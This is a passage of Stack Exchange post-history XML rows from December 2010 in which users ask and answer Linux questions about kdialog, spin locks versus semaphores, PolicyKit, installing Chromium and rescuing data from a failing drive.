  <row Id="11557" PostHistoryTypeId="2" PostId="5210" RevisionGUID="d428c829-6f99-43f4-a8df-6095865437f6" CreationDate="2010-12-29T03:38:41.873" UserId="1207" Text="One way is to provide a generic filename that the user can then replace, such as&#xD;&#xA;&#xD;&#xA;    $ kdialog --getsavefile /path/to/specific/folder/output&#xD;&#xA;&#xD;&#xA;This will place the dialog in the correct folder with the &quot;Name&quot; field filled with &quot;output&quot;.  &quot;output will be selected and thus the user can quickly change it." />
  <row Id="11558" PostHistoryTypeId="5" PostId="5210" RevisionGUID="bb5720d1-3dbb-44d5-9d74-b132eec05488" CreationDate="2010-12-29T03:52:59.147" UserId="1207" Comment="added 4 characters in body" Text="One way is to provide a generic filename that the user can then replace, such as&#xD;&#xA;&#xD;&#xA;    $ kdialog --getsavefilename /path/to/specific/folder/output&#xD;&#xA;&#xD;&#xA;This will place the dialog in the correct folder with the &quot;Name&quot; field filled with &quot;output&quot;.  &quot;output will be selected and thus the user can quickly change it." />
  <row Id="11559" PostHistoryTypeId="5" PostId="5199" RevisionGUID="27943323-2a11-4581-a2cf-3a3e3d8a2211" CreationDate="2010-12-29T04:45:41.203" UserId="73" Comment="added 6 characters in body" Text="Using xcalib:&#xD;&#xA;&#xD;&#xA;    $ xcalib --contrast [percentage] -- alter" />
  <row Id="11560" PostHistoryTypeId="2" PostId="5211" RevisionGUID="b961b185-0ec4-408c-a186-88cd3ea0675e" CreationDate="2010-12-29T05:50:09.610" UserId="298" Text="Does anyone know if there is an elegant way to tell an external usb drive not to spin down after a period of inactivity?  I've seen cron based solutions that write a file every minute, but nothing that smells of nice unixey elegance.  There must be a hdparm, or scsi command that I can issue (usb drives are accessed via the sd driver in OpenBSD) to the drive to tell it to not sleep.  I'm afraid that this is probably a *feature* built into the controller in the enclosure, and as such not much can change it aside from ripping the drive out of it's enclosure and plopping it directly in the machine, but I figured I would ask, on the off chance.  &#xD;&#xA;&#xD;&#xA;Ideally,  I'm looking for an OpenBSD solution, but I know there are others out there w/the same problem so any solutions will be considered for the answer. &#xD;&#xA;" />
  <row Id="11561" PostHistoryTypeId="1" PostId="5211" RevisionGUID="b961b185-0ec4-408c-a186-88cd3ea0675e" CreationDate="2010-12-29T05:50:09.610" UserId="298" Text="Prevent a USB external hard drive from sleeping" />
  <row Id="11562" PostHistoryTypeId="3" PostId="5211" RevisionGUID="b961b185-0ec4-408c-a186-88cd3ea0675e" CreationDate="2010-12-29T05:50:09.610" UserId="298" Text="édriversàéhardödiskàéopenbsdàéscsiàésdà" />
  <row Id="11567" PostHistoryTypeId="2" PostId="5214" RevisionGUID="9b19c706-1997-45e5-adc2-e3296e03d373" CreationDate="2010-12-29T06:42:18.407" UserId="2269" Text="hi all,&#xD;&#xA;&#xD;&#xA;it would be really helpful if some one could explain me the basic difference between spin locks and semaphores in action?&#xD;&#xA;&#xD;&#xA;__kanu" />
  <row Id="11568" PostHistoryTypeId="1" PostId="5214" RevisionGUID="9b19c706-1997-45e5-adc2-e3296e03d373" CreationDate="2010-12-29T06:42:18.407" UserId="2269" Text="what is the difference between spin locks and semaphores?" />
  <row Id="11569" PostHistoryTypeId="3" PostId="5214" RevisionGUID="9b19c706-1997-45e5-adc2-e3296e03d373" CreationDate="2010-12-29T06:42:18.407" UserId="2269" Text="ékernelà" />
  <row Id="11570" PostHistoryTypeId="12" PostId="5214" RevisionGUID="479b3faa-da19-44f5-8e9e-26623d1e1d15" CreationDate="2010-12-29T07:27:15.620" UserId="2269" Text="[{&quot;Id&quot;:2269,&quot;DisplayName&quot;:&quot;Renjith G&quot;}]" />
  <row Id="11571" PostHistoryTypeId="13" PostId="5214" RevisionGUID="62f62a90-0bcb-4e01-9838-f44959f9c7bb" CreationDate="2010-12-29T07:27:23.780" UserId="2269" Text="[{&quot;Id&quot;:2269,&quot;DisplayName&quot;:&quot;Renjith G&quot;}]" />
  <row Id="11572" PostHistoryTypeId="2" PostId="5215" RevisionGUID="89611f78-4d2f-44d8-9b03-8f07260008dd" CreationDate="2010-12-29T08:48:30.623" UserId="3350" Text="Here's what I use to get information about Linux and BSD distributions:&#xD;&#xA;http://distrowatch.com/&#xD;&#xA;&#xD;&#xA;Go to the &#xD;&#xA;Their search, while great, doesn't have a &quot;rolling-release&quot; option. I would suggest searching by the most recent Linux kernel version by selecting &quot;linux&quot; under their package search. The most recent version of any package is shown in parenthesis.&#xD;&#xA;&#xD;&#xA;Searching for linux 2.6.36.2 gave the following:&#xD;&#xA;&#xD;&#xA;&gt; Arch Linux: current&#xD;&#xA;&gt; &#xD;&#xA;&gt; Chakra GNU/Linux: 0.4-alpha2&#xD;&#xA;&gt; &#xD;&#xA;&gt; Gentoo Linux: unstable, stable&#xD;&#xA;&gt; &#xD;&#xA;&gt; Linux From Scratch: unstable&#xD;&#xA;&gt; &#xD;&#xA;&gt; Lunar Linux: moonbase&#xD;&#xA;&gt; &#xD;&#xA;&gt; Mandriva Linux: cooker&#xD;&#xA;&gt; &#xD;&#xA;&gt; Parted Magic: 5.8&#xD;&#xA;&gt; &#xD;&#xA;&gt; PLD Linux Distribution: 3.0&#xD;&#xA;&gt; &#xD;&#xA;&gt; Sorcerer: grimoire&#xD;&#xA;&gt; &#xD;&#xA;&gt; T2 SDE: snapshot&#xD;&#xA;&gt; &#xD;&#xA;&gt; Zenwalk Linux: 7.0-alpha&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11573" PostHistoryTypeId="2" PostId="5216" RevisionGUID="4b1205ad-15a6-4c92-987b-48810380b969" CreationDate="2010-12-29T09:02:42.360" UserId="3350" Text="Here's my quick shot at an answer:&#xD;&#xA;a spin lock and a **binary** semaphore (which manages a resource that can only be used by one thing) are almost identical. Their distinction is that spin locks manage code to be run while binary semaphores manage some kind of singular resource (e.g. cpu time, display output)&#xD;&#xA;&#xD;&#xA;A regular semaphore, however is able to manage several threads accessing a resource that can be split among several, but is limited (e.g. memory, network bandwidth)&#xD;&#xA;&#xD;&#xA;In short, a spin-lock is likely to keep asking a semaphore if it can use a resource. (Imagine a child having to use the bathroom and waiting for someone else to finish.)&#xD;&#xA;&#xD;&#xA;Sources: Introduction to Systems Programming, Operating Systems, and wikipedia" />
  <row Id="11574" PostHistoryTypeId="2" PostId="5217" RevisionGUID="982ed7c4-bb40-4d4d-91cc-21f21926f656" CreationDate="2010-12-29T09:10:43.950" UserId="3351" Text="First of all, quick naming correction - anything open in Vim is a &quot;buffer&quot;. The terminology here is similar to emacs, if you are familiar with that editor. Buffers simply refer to open files in the memory of the current Vim process. To see a list of you buffers, use&#xD;&#xA;&#xD;&#xA;    :ls&#xD;&#xA;&#xD;&#xA;which shows you a list of the current buffers, numbered in the order that they were opened. However, buffers do not have anything to do with the visual representation of files in Vim. I think you may be thinking of splits or views.&#xD;&#xA;&#xD;&#xA;As to the difference between splits or tabs - It really is your preference! Some people like to be able to see a lot of code at once (or have the screen real estate to do so), and so might prefer using splits. Other people, like yourself, are more used to tabs and so might prefer that instead.&#xD;&#xA;&#xD;&#xA;These links contain helpful information about using splits and tabs:&#xD;&#xA;&#xD;&#xA;for splits (they call them viewports in this doc): http://www.linux.com/archive/feed/54157&#xD;&#xA;&#xD;&#xA;for tabs: same site (sorry, can't post  more than one hyperlink)&#xD;&#xA;&#xD;&#xA;I hope this answers your question! Please clarify, if it did not." />
  <row Id="11575" PostHistoryTypeId="5" PostId="5195" RevisionGUID="ea863aa0-d723-415c-97a4-b94f9d69a0db" CreationDate="2010-12-29T09:50:25.423" UserId="3336" Comment="added 1452 characters in body" Text="I would like to learn more about Linux. I briefly went through a few books and quite a few articles online, but the only way to learn something is to actually start using it. &#xD;&#xA;&#xD;&#xA;I would like to jump in the deep end and configure a Linux server. So far I have downloaded Ubuntu Server.&#xD;&#xA;&#xD;&#xA;I'm looking for goal or a challenge if you like, something that will familiarize me with Linux servers.&#xD;&#xA;&#xD;&#xA;Ideally, I would like to be able to configure a secure mail, file and web servers. I have a strong programming background so I hope that it will help me out.&#xD;&#xA;&#xD;&#xA;I understand that this is not a specific question, I'm just looking for a milestone or a goal, otherwise I can spend weeks reading books and online articles.&#xD;&#xA;&#xD;&#xA;**Edit 1:**&#xD;&#xA;Thank you all for replies.&#xD;&#xA;&#xD;&#xA;Based on what you have said so far, I think that there are few different areas that I need to learn about:&#xD;&#xA;&#xD;&#xA;1. Kernels. Am I correct to say that this is a first thing I should concentrate on?&#xD;&#xA;2. Virtualisation. Once I'm happy with my knowledge about kernels I'd like to concentrate on KVM. I've read briedly about hypervisors and I believe that they also fall under virtualisation. Please correct me if I'm wrong. &#xD;&#xA;3. Security. Ideally I would like to leave this till last, but I guess that the majority of packages that I will require are online. So I'm not sure whether I should give this a higher priority. SSH, Linux as Firewall and remote access through shell fall under this category.&#xD;&#xA;4. Finally I will have a look at backup routines  (using Linux as a file-server) and I'll configure web and mail servers. I guess that mail server might be a pain.&#xD;&#xA;&#xD;&#xA;I'm tempted to start a blog and see where it takes me after two weeks. In regards to distributives, I have seen that there are hundreds of different Linux distributives. To be perfectly honest I don't want anything simple, but, at the same time, I don't want to spend hours on a very basic operation to start with. Ideally I would like to work only from command prompt, once I can do that I'll be able to work with most of pretty GUIs (I hope so anyway).&#xD;&#xA;&#xD;&#xA;Once again, thank you for your help and I will really appreciate any further advise." />
  <row Id="11576" PostHistoryTypeId="2" PostId="5218" RevisionGUID="de3284d2-06d5-44e8-b63e-a7d36247c033" CreationDate="2010-12-29T10:34:31.393" UserId="444" Text="I have a IR reciver that is using the imon-driver and i would like to get it working with the kernel. Right now half of the keys on the remote ([image][1]) works, but an all important think like the numeric keys doesnt!&#xD;&#xA;&#xD;&#xA;The weird think is that the kernel keymap module (rc-imon-pad) seems to be correct but it seems that it is not really used since excatly the same keys are working without that module.&#xD;&#xA;&#xD;&#xA;Now i am lost, if i do `cat /dev/input/event5` or `ir-keytable -t` there is data no matter what key i press, so the driver registers the buttons but it just seems that they are translated to the wrong keycodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My kernels is an ubuntu stock kernel from Natty (Linux xbmc 2.6.37-11-generic #25-Ubuntu SMP Tue Dec 21 23:42:56 UTC 2010 x86_64 GNU/Linux)&#xD;&#xA;&#xD;&#xA;  [1]: http://farm3.static.flickr.com/2433/3888666519_7e06d90f26_o.jpg" />
  <row Id="11577" PostHistoryTypeId="1" PostId="5218" RevisionGUID="de3284d2-06d5-44e8-b63e-a7d36247c033" CreationDate="2010-12-29T10:34:31.393" UserId="444" Text="How to debug the input from an input-device (/dev/input/event*)" />
  <row Id="11578" PostHistoryTypeId="3" PostId="5218" RevisionGUID="de3284d2-06d5-44e8-b63e-a7d36247c033" CreationDate="2010-12-29T10:34:31.393" UserId="444" Text="ékernelàédriversàéremoteàéinputà" />
  <row Id="11580" PostHistoryTypeId="5" PostId="5195" RevisionGUID="242c1b37-75c6-4a83-8232-05e82c83c783" CreationDate="2010-12-29T14:47:57.163" UserId="3336" Comment="added 101 characters in body" Text="I would like to learn more about Linux. I briefly went through a few books and quite a few articles online, but the only way to learn something is to actually start using it. &#xD;&#xA;&#xD;&#xA;I would like to jump in the deep end and configure a Linux server. So far I have downloaded Ubuntu Server.&#xD;&#xA;&#xD;&#xA;I'm looking for goal or a challenge if you like, something that will familiarize me with Linux servers.&#xD;&#xA;&#xD;&#xA;Ideally, I would like to be able to configure a secure mail, file and web servers. I have a strong programming background so I hope that it will help me out.&#xD;&#xA;&#xD;&#xA;I understand that this is not a specific question, I'm just looking for a milestone or a goal, otherwise I can spend weeks reading books and online articles.&#xD;&#xA;&#xD;&#xA;**Edit 1:**&#xD;&#xA;Thank you all for replies.&#xD;&#xA;&#xD;&#xA;Based on what you have said so far, I think that there are few different areas that I need to learn about:&#xD;&#xA;&#xD;&#xA;1. Kernels. Am I correct to say that this is a first thing I should concentrate on?&#xD;&#xA;2. Virtualisation. Once I'm happy with my knowledge about kernels I'd like to concentrate on KVM. I've read briedly about hypervisors and I believe that they also fall under virtualisation. Please correct me if I'm wrong. &#xD;&#xA;3. Security. Ideally I would like to leave this till last, but I guess that the majority of packages that I will require are online. So I'm not sure whether I should give this a higher priority. SSH, Linux as Firewall and remote access through shell fall under this category.&#xD;&#xA;4. Finally I will have a look at backup routines  (using Linux as a file-server) and I'll configure web and mail servers. I guess that mail server might be a pain.&#xD;&#xA;&#xD;&#xA;I'm tempted to start a blog and see where it takes me after two weeks. In regards to distributives, I have seen that there are hundreds of different Linux distributives. To be perfectly honest I don't want anything simple, but, at the same time, I don't want to spend hours on a very basic operation to start with. Ideally I would like to work only from command prompt, once I can do that I'll be able to work with most of pretty GUIs (I hope so anyway).&#xD;&#xA;&#xD;&#xA;Once again, thank you for your help and I will really appreciate any further advise.&#xD;&#xA;&#xD;&#xA;**Edit 2:** This leaves me with a final question on what distribution of Linux I should be using?" />
  <row Id="11581" PostHistoryTypeId="2" PostId="5220" RevisionGUID="40fcb0d6-66c9-4400-97be-48078f6809e0" CreationDate="2010-12-29T15:20:50.507" UserId="474" Text="I've seen that recent GNU/Linux are using ConsoleKit and PolicyKit. What are they for? How do they work?&#xD;&#xA;&#xD;&#xA;The best answer should explain what kind of problem each one tries to solve, and how they manage to solve it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm a long-time GNU/Linux user, from a time when such things didn't exist. I've been using Slackware and recently Gentoo. I'm an advanced user/admin/developer, so the answer can (and should!) be as detailed and as accurate as possible. I want to understand how these things work, so I can use them (as an user or as a developer) the best possible way.&#xD;&#xA;&#xD;&#xA;*(I'd add &quot;consolekit&quot; and &quot;policykit&quot; as tags, but I don't have enough reputation)*" />
  <row Id="11582" PostHistoryTypeId="1" PostId="5220" RevisionGUID="40fcb0d6-66c9-4400-97be-48078f6809e0" CreationDate="2010-12-29T15:20:50.507" UserId="474" Text="What are ConsoleKit and PolicyKit? How do they work?" />
  <row Id="11583" PostHistoryTypeId="3" PostId="5220" RevisionGUID="40fcb0d6-66c9-4400-97be-48078f6809e0" CreationDate="2010-12-29T15:20:50.507" UserId="474" Text="élinuxà" />
  <row Id="11584" PostHistoryTypeId="6" PostId="5220" RevisionGUID="5ff13d89-0a48-4757-9095-2dcfd162b3f9" CreationDate="2010-12-29T15:32:09.577" UserId="252" Comment="edited tags" Text="élinuxàéconsolekitàépolicykità" />
  <row Id="11585" PostHistoryTypeId="2" PostId="5221" RevisionGUID="f72b71c9-0c53-4fa2-b06f-237afbb50f45" CreationDate="2010-12-29T16:08:14.317" UserId="305" Text="In short consolekit is service which tracks user sessions (i.e. where user is logged in). It allows switching users without logging out [many user can be logged in on the same hardware at the same time with one user active]. It is also used to check if session is &quot;local&quot; i.e. if user have direct access to hardware (which may be considered more secure then remote access). [ConsoleKit documentation][1].&#xD;&#xA;&#xD;&#xA;[PolicyKit][2] allows fine-tuned capabilities in desktop enviroment. Traditionally only privilaged user (root) was allowed to configure network. However while in server enviroment it is reasonable assumption it would be too limiting to not allowed to connect to hotspot on laptop. Still however you may not want to give full privilages to this person (like installing programs) or you want to limit options for some people (for example on your children laptops only 'trusted' networks with parential filters can be used). As far as I remember it works like:&#xD;&#xA;&#xD;&#xA;- Program send message to daemon via dbus about action&#xD;&#xA;- Daemon uses PolicyKit libraries/configuration (in fact PolicyKit daemon) to determine if user is allowed to perform action. It may happen that the certain confition must be fullfilled (like entering password or hardware access).&#xD;&#xA;- Deamon performs action according to it (returns auth error or perform action)&#xD;&#xA;&#xD;&#xA;[PolicyKit documentation][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/software/ConsoleKit/doc/ConsoleKit.html&#xD;&#xA;  [2]: http://www.freedesktop.org/wiki/Software/PolicyKit&#xD;&#xA;  [3]: http://hal.freedesktop.org/docs/polkit/" />
  <row Id="11586" PostHistoryTypeId="2" PostId="5222" RevisionGUID="f53fcf8d-4adc-4eda-8138-6e50ec966b81" CreationDate="2010-12-29T16:20:44.487" UserId="305" Text="Both manage a limited resource. I'll first describe difference between binary semaphore (mutex) and spin lock.&#xD;&#xA;&#xD;&#xA;Spin locks perform a busy wait - i.e. it keeps running loop:&#xD;&#xA;&#xD;&#xA;    while (try_acquire_resource ());&#xD;&#xA;    ...&#xD;&#xA;    release();&#xD;&#xA;&#xD;&#xA;It performs very lightweight locking/unlocking but if the locking thread will be preempted by other which will try to access the same resouce the second one will simply try to acquitre resource untill it run out of it CPU quanta.&#xD;&#xA;&#xD;&#xA;On the other hand mutex behave more like:&#xD;&#xA;&#xD;&#xA;    if (!try_lock()) {&#xD;&#xA;        add_to_waiting_queue ();&#xD;&#xA;        wait();&#xD;&#xA;    }&#xD;&#xA;    ...&#xD;&#xA;    process *p = get_next_process_from_waiting_queue ();&#xD;&#xA;    p-&gt;wakeUp ();   &#xD;&#xA;&#xD;&#xA;Hence if the thread will try to acquire blocked resource it will be suspended till it will be avaible for it. Locking/unlocking is much more heavy but the waiting is 'free' and 'fair'.&#xD;&#xA;&#xD;&#xA;[Semaphore][1] is a lock that is allowed to be used multiple (known from initialization) number of times - for example 3 threads are allowed to simultainusly hold the resource but no more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Semaphore_(programming)" />
  <row Id="11587" PostHistoryTypeId="5" PostId="5222" RevisionGUID="b9b66253-827b-4b03-9809-3aed3a263214" CreationDate="2010-12-29T16:28:02.200" UserId="305" Comment="added 295 characters in body" Text="Both manage a limited resource. I'll first describe difference between binary semaphore (mutex) and spin lock.&#xD;&#xA;&#xD;&#xA;[Spin locks][1] perform a busy wait - i.e. it keeps running loop:&#xD;&#xA;&#xD;&#xA;    while (try_acquire_resource ());&#xD;&#xA;    ...&#xD;&#xA;    release();&#xD;&#xA;&#xD;&#xA;It performs very lightweight locking/unlocking but if the locking thread will be preempted by other which will try to access the same resouce the second one will simply try to acquitre resource untill it run out of it CPU quanta.&#xD;&#xA;&#xD;&#xA;On the other hand [mutex][2] behave more like:&#xD;&#xA;&#xD;&#xA;    if (!try_lock()) {&#xD;&#xA;        add_to_waiting_queue ();&#xD;&#xA;        wait();&#xD;&#xA;    }&#xD;&#xA;    ...&#xD;&#xA;    process *p = get_next_process_from_waiting_queue ();&#xD;&#xA;    p-&gt;wakeUp ();   &#xD;&#xA;&#xD;&#xA;Hence if the thread will try to acquire blocked resource it will be suspended till it will be avaible for it. Locking/unlocking is much more heavy but the waiting is 'free' and 'fair'.&#xD;&#xA;&#xD;&#xA;[Semaphore][3] is a lock that is allowed to be used multiple (known from initialization) number of times - for example 3 threads are allowed to simultainusly hold the resource but no more. It is used for example in producer/consumer problem or in general in queues:&#xD;&#xA;&#xD;&#xA;    P(resources_sem)&#xD;&#xA;    resource = resources.pop()&#xD;&#xA;    ...&#xD;&#xA;    resources.push(resources)&#xD;&#xA;    V(resources_sem)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Spin_lock&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Mutex&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Semaphore_(programming)" />
  <row Id="11588" PostHistoryTypeId="2" PostId="5223" RevisionGUID="2c36f17b-8ba4-41d2-9c1b-61817297f490" CreationDate="2010-12-29T16:30:42.227" UserId="3356" Text="This is a known bug with the iwlagn driver.  Updating the driver and/or firmware may fix your issue:&#xD;&#xA;&#xD;&#xA;https://bugs.launchpad.net/linux/+bug/200509" />
  <row Id="11589" PostHistoryTypeId="2" PostId="5224" RevisionGUID="bb5f58dc-eb66-403b-b4df-31d68dd3aa4d" CreationDate="2010-12-29T16:42:42.150" UserId="2210" Text="Yeah, it's generally built into the firmware.  Some drive manufacturers provide an MS Windows based management tool that will allow you to modify various parameters, including disabling the &quot;sleep&quot; or spin down timer.  If you have access to a Windows box it might be worth it to pursue that angle." />
  <row Id="11590" PostHistoryTypeId="6" PostId="5214" RevisionGUID="1a365b61-8980-4040-8e87-579863f0be5f" CreationDate="2010-12-29T17:26:12.533" UserId="298" Comment="edited tags" Text="ékernelàéosàéhomeworkà" />
  <row Id="11591" PostHistoryTypeId="6" PostId="5096" RevisionGUID="7acc0bc0-1a48-49d5-933a-49b9e4e5f9e9" CreationDate="2010-12-29T17:29:57.290" UserId="298" Comment="edited tags" Text="évimàéeditorsàégvimà" />
  <row Id="11592" PostHistoryTypeId="6" PostId="5139" RevisionGUID="2552dd2e-d6ff-4c37-b8b3-a4c3274b436a" CreationDate="2010-12-29T18:02:44.193" UserId="885" Comment="edited tags" Text="éfilesystemsàédataörecoveryàéext3àéfsckàépartedà" />
  <row Id="11593" PostHistoryTypeId="6" PostId="5124" RevisionGUID="c5fe056a-b0cd-4863-9679-278b0169401d" CreationDate="2010-12-29T18:04:41.090" UserId="885" Comment="edited tags" Text="élinuxàékernelàémemoryà" />
  <row Id="11594" PostHistoryTypeId="2" PostId="5225" RevisionGUID="3b8c05cf-aae0-4797-aa43-3631cd187a47" CreationDate="2010-12-29T18:06:49.170" UserId="3086" Text="give the installation via terminal a try:&#xD;&#xA;&#xD;&#xA;1. open terminal&#xD;&#xA;&#xD;&#xA;2. run the command: sudo apt-get install chromium-browser&#xD;&#xA;&#xD;&#xA;**alternatively you can add the chromium repository via commandline to your sources like this and install it from there:**&#xD;&#xA;&#xD;&#xA;1. open terminal&#xD;&#xA;&#xD;&#xA;2. sudo add-apt-repository ppa:chromium-daily/stable&#xD;&#xA;&#xD;&#xA;3. sudo apt-get update&#xD;&#xA;&#xD;&#xA;4. sudo apt-get install chromium-browser" />
  <row Id="11595" PostHistoryTypeId="5" PostId="5196" RevisionGUID="3d3114e8-4ce9-475c-baea-7c8d42ac7052" CreationDate="2010-12-29T18:19:30.163" UserId="1615" Comment="added 1248 characters in body; edited tags" Text="I intalled Linux Mint 10 and would like to use it instead of Windows as a desktop OS. The first thing I would like to do is to install the Chromium web browser.&#xD;&#xA;&#xD;&#xA;So I start *Software Manager* and then goes to *Chromium* and there is a button *Install* that I click on. The the progress bar at the bottom of the Software Manager goes up to *5%* before it goes down to *0* againg, and nothings happens.&#xD;&#xA;&#xD;&#xA;How do I install Chromium using Software Manager or any other graphical software in Linux Mint 10? &#xD;&#xA;&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;The reason to do it only by using graphical tools, was to compare the usability with Windows. Now I tested the commands that NES suggested, `sudo apt-get install chromium-browser` but it failed with this messages:&#xD;&#xA;&#xD;&#xA;    Err http://archive.ubuntu.com/ubuntu/ maverick-updates/universe chromium-browser-inspector all 7.0.517.41~r62167-0ubuntu0.10.10.1&#xD;&#xA;      404  Not Found [IP: 91.189.92.169 80]&#xD;&#xA;    Err http://security.ubuntu.com/ubuntu/ maverick-security/universe chromium-browser-inspector all 7.0.517.41~r62167-0ubuntu0.10.10.1&#xD;&#xA;      404  Not Found [IP: 91.189.88.37 80]&#xD;&#xA;    Err http://security.ubuntu.com/ubuntu/ maverick-security/universe chromium-browser amd64 7.0.517.41~r62167-0ubuntu0.10.10.1&#xD;&#xA;      404  Not Found [IP: 91.189.88.37 80]&#xD;&#xA;    Failed to fetch http://security.ubuntu.com/ubuntu/pool/universe/c/chromium-browser/chromium-browser-inspector_7.0.517.41~r62167-0ubuntu0.10.10.1_all.deb  404  Not Found [IP: 91.189.88.37 80]&#xD;&#xA;    Failed to fetch http://security.ubuntu.com/ubuntu/pool/universe/c/chromium-browser/chromium-browser_7.0.517.41~r62167-0ubuntu0.10.10.1_amd64.deb  404  Not Found [IP: 91.189.88.37 80]&#xD;&#xA;    E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11596" PostHistoryTypeId="6" PostId="5196" RevisionGUID="3d3114e8-4ce9-475c-baea-7c8d42ac7052" CreationDate="2010-12-29T18:19:30.163" UserId="1615" Comment="added 1248 characters in body; edited tags" Text="édebianàésoftwareöinstallationàéchromeàélinuxömintàésoftwareömanagerà" />
  <row Id="11597" PostHistoryTypeId="5" PostId="5220" RevisionGUID="6120a85a-9e9a-42ca-93b4-52fd02fd0f38" CreationDate="2010-12-29T19:09:45.463" UserId="73" Comment="deleted 86 characters in body; edited tags" Text="I've seen that recent GNU/Linux are using ConsoleKit and PolicyKit. What are they for? How do they work?&#xD;&#xA;&#xD;&#xA;The best answer should explain what kind of problem each one tries to solve, and how they manage to solve it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm a long-time GNU/Linux user, from a time when such things didn't exist. I've been using Slackware and recently Gentoo. I'm an advanced user/admin/developer, so the answer can (and should!) be as detailed and as accurate as possible. I want to understand how these things work, so I can use them (as an user or as a developer) the best possible way.&#xD;&#xA;" />
  <row Id="11598" PostHistoryTypeId="6" PostId="5220" RevisionGUID="6120a85a-9e9a-42ca-93b4-52fd02fd0f38" CreationDate="2010-12-29T19:09:45.463" UserId="73" Comment="deleted 86 characters in body; edited tags" Text="élinuxàépolicykitàéconsolekità" />
  <row Id="11599" PostHistoryTypeId="5" PostId="5214" RevisionGUID="5f76b6c5-1794-43bb-9a76-30e2a7d0005e" CreationDate="2010-12-29T19:10:04.777" UserId="73" Comment="deleted 65 characters in body; edited tags" Text="What are the basic differences between spin locks and semaphores in action?&#xD;&#xA;" />
  <row Id="11600" PostHistoryTypeId="6" PostId="5214" RevisionGUID="5f76b6c5-1794-43bb-9a76-30e2a7d0005e" CreationDate="2010-12-29T19:10:04.777" UserId="73" Comment="deleted 65 characters in body; edited tags" Text="ékernelàéosàéspinlockàésemaphoreàéhomeworkà" />
  <row Id="11601" PostHistoryTypeId="2" PostId="5226" RevisionGUID="d68a1095-f030-4f71-a5ac-8afc50b0559d" CreationDate="2010-12-29T19:21:08.290" UserId="1535" Text="An external 3½&quot; HDD seems to be in danger of failing — it's making [ticking sounds when idle](http://superuser.com/questions/226369/3-pata-western-digital-caviar-se-250mb-makes-steady-ticking-sound-when-idle/226370#226370).&#xD;&#xA;&#xD;&#xA;I've acquired a replacement drive, and want to know the best strategy to get the data off of the dubious drive with the best chance of saving as much as possible.&#xD;&#xA;&#xD;&#xA;There are some directories that are more important than others.  However, I'm guessing that picking and choosing directories is going to reduce my chances of saving the whole thing.  I would also have to mount it, dump a file listing, and then unmount it in order to be able to effectively prioritize directories.  Adding in the fact that it's time-consuming to do this, I'm leaning away from this approach.&#xD;&#xA;&#xD;&#xA;I've considered just using `dd`, but I'm not sure how it would handle read errors or other problems that might prevent only certain parts of the data from being rescued, or which could be overcome with some retries, but not so many that they endanger other parts of the drive from being saved.  I guess ideally it would do a single pass to get as much as possible and then go back to retry anything that was missed due to errors.&#xD;&#xA;&#xD;&#xA;Is it possible that copying more slowly — e.g. pausing every x MB/GB — would be better than just running the operation full tilt, for example to avoid any overheating issues?&#xD;&#xA;&#xD;&#xA;For the &quot;where is your backup&quot; crowd: this actually is my backup drive, but it also contains some non-critical and bulky stuff, like music, that aren't backups, i.e. aren't backed up.&#xD;&#xA;&#xD;&#xA;The drive has not exhibited any clear signs of failure other than this somewhat ominous sound.  I did have to fsck a few errors recently — orphaned inodes, incorrect free blocks/inodes counts, inode bitmap differences, zero dtime on deleted inodes; about 20 errors in all.&#xD;&#xA;&#xD;&#xA;The filesystem of the partition is ext3." />
  <row Id="11602" PostHistoryTypeId="1" PostId="5226" RevisionGUID="d68a1095-f030-4f71-a5ac-8afc50b0559d" CreationDate="2010-12-29T19:21:08.290" UserId="1535" Text="saving data from a failing drive" />
  <row Id="11603" PostHistoryTypeId="3" PostId="5226" RevisionGUID="d68a1095-f030-4f71-a5ac-8afc50b0559d" CreationDate="2010-12-29T19:21:08.290" UserId="1535" Text="éhardödiskàédataörecoveryàéddà" />
  <row Id="11604" PostHistoryTypeId="6" PostId="5088" RevisionGUID="5fce2774-3be0-406d-89d0-9268db5673c6" CreationDate="2010-12-29T19:50:07.687" UserId="885" Comment="edited tags" Text="élinuxàéspinlockàélockà" />
  <row Id="11605" PostHistoryTypeId="6" PostId="5214" RevisionGUID="468a09fd-6a31-49d9-a185-7828b0ee1847" CreationDate="2010-12-29T19:50:22.193" UserId="885" Comment="edited tags" Text="ékernelàéspinlockàésemaphoreàélockà" />
  <row Id="11607" PostHistoryTypeId="6" PostId="4698" RevisionGUID="90f5b935-85f5-450c-bbbf-515c67970648" CreationDate="2010-12-29T20:13:27.237" UserId="885" Comment="edited tags" Text="élinuxàékernelàébusyboxàécpioàéinitramfsà" />
  <row Id="11608" PostHistoryTypeId="6" PostId="4660" RevisionGUID="e67a4589-ca33-4b26-a0b4-ce644d7e9093" CreationDate="2010-12-29T20:14:02.557" UserId="885" Comment="edited tags" Text="élinuxàékernelàéembeddedàénfsàédebuggingà" />
  <row Id="11609" PostHistoryTypeId="2" PostId="5228" RevisionGUID="8494cf45-ec0e-4012-8ee0-5362e6fcf11f" CreationDate="2010-12-29T20:31:00.137" UserId="138" Text="There's no way of knowing the best of your options without knowing exactly what is going wrong with the drive. If it's a mechanical failure, avoiding heating it up can help, but if it's due to errors in the servo data, heat isn't likely to matter.&#xD;&#xA;&#xD;&#xA;I would immediately start copying the unique data to the new drive with `rsync`.  `rsync` will let you pause, resume, and restart as necessary until you get all the data off.&#xD;&#xA;&#xD;&#xA;Then I would run a data scrub on the drive. I assume from the `ext3` filesystem that you're running Linux, so try this:&#xD;&#xA;&#xD;&#xA;    # umount /dev/sdX&#xD;&#xA;    # badblocks -n /dev/sdX&#xD;&#xA;&#xD;&#xA;(Unmounting the drive first is important.)&#xD;&#xA;&#xD;&#xA;This will read every sector from the disk and write it back without change. That will force the drive firmware to check every sector for errors and to remap any bad sectors it finds. This is the most important part of what the expensive &lt;a href=&quot;http://www.grc.com/sr/spinrite.htm&quot;&gt;SpinRite&lt;/a&gt; program does. Step up to that only if 